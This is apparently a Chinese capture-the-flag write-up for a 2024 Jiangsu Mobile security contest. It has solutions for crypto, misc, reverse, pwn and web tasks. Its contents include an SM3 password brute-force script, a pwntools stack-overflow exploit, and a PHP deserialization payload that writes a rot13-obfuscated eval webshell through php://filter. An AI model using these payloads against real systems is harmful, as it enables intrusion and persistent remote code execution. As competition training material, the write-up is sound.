WP | 2024 年江苏移动“赋能建功”网络安全技能竞赛 线上赛


Crypto

easy-sm

题目提示为密码为 adminxxxxxx ,可以爆破:

import sys
from gmssl import sm3, func
from multiprocessing import Process, Manager, cpu_count

def sm3_hash(message):
    return sm3.sm3_hash(func.bytes_to_list(message.encode('utf-8')))

def worker(prefix, start, end, target_hash, shared_dict):
    for i in range(start, end):
        if 'found' in shared_dict:
            return
        suffix = f"{i:06d}"
        password = prefix + suffix
        current_hash = sm3_hash(password)
        if current_hash == target_hash:
            shared_dict['found'] = f"flag{{{password}}}"
            return
        if i % 100000 == 0:
            print(f"进程 {prefix}: 已尝试 {i} 个密码...")

def main():
    target_hash = 'f1127f0189ad9e1bde949fb14991db82c9c9b41e90edcf014898595e8ab908c0'
    prefix = 'admin'
    total = 1000000  # 生成的密码范围从 000000 到 999999
    num_processes = cpu_count()  # 使用所有可用的CPU核心
    chunk_size = total // num_processes  # 每个进程处理的密码数量
    processes = []

    with Manager() as manager:
        shared_dict = manager.dict()
        for i in range(num_processes):
            start = i * chunk_size
            end = (i + 1) * chunk_size if i != num_processes - 1 else total
            p = Process(target=worker, args=(prefix, start, end, target_hash, shared_dict))
            processes.append(p)
            p.start()
        
        for p in processes:
            p.join()
        
        if 'found' in shared_dict:
            print(f"密码找到: {shared_dict['found']}")
        else:
            print("未找到匹配的密码。")

if __name__ == "__main__":
    main()

easy-train

找到一个长得很像 flag 的格式,

根据 galf 提示可能使用了 Atbash Cipher,ROT13后得到 Flag

Misc

keyboard

用脚本检测到伪加密,移除。

用脚本分析流量数据,得到 Flag。

DNS

存在大量对 *.192.168.191.129 的请求,猜测 * 处传递了十六进制密文。复制所有密文拼接,十六进制解码:

Reverse

签到

IDA打开直接读。

Re2

Base64, 注意换了表 ABCDEFGHIJKLMN0PQRSTUVWXYZabcdefghijklmnOpqrstuvwxyzo123456789+/

异或 0x78

包上 flag{} 提交。

Pwn

签到

简单的栈溢出,覆盖 30h-20h 个字节即可。

from pwn import *

p = remote("221.178.230.105", 44815)
payload = b'A' * 16 + b'admin'
p.sendline(payload)
p.interactive()

# cat /flag

Web

签到

存在 Shiro Rememberme 反序列化漏洞,根据博客构造 POC 执行命令:

https://blog.csdn.net/weixin_44037296/article/details/116304433

Web2

PHP 反序列化 + php://filter 伪协议绕过 die

$a = new Who();
$b = new Lisi("php://filter/string.rot13/resource=shell.php", '<?cuc riny($_CBFG[\'nop\']);?>');
$a->char = $b;

echo serialize($a);

// ?a=O:3:"Who":1:{s:4:"char";O:4:"Lisi":2:{s:4:"file";s:40:"php://filter/string.rot13/resource=1.php";s:4:"text";s:26:"<?cuc riny($_CBFG['nop']);?>";}}

写入 shell.php 文件马,密码为 abc

,

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注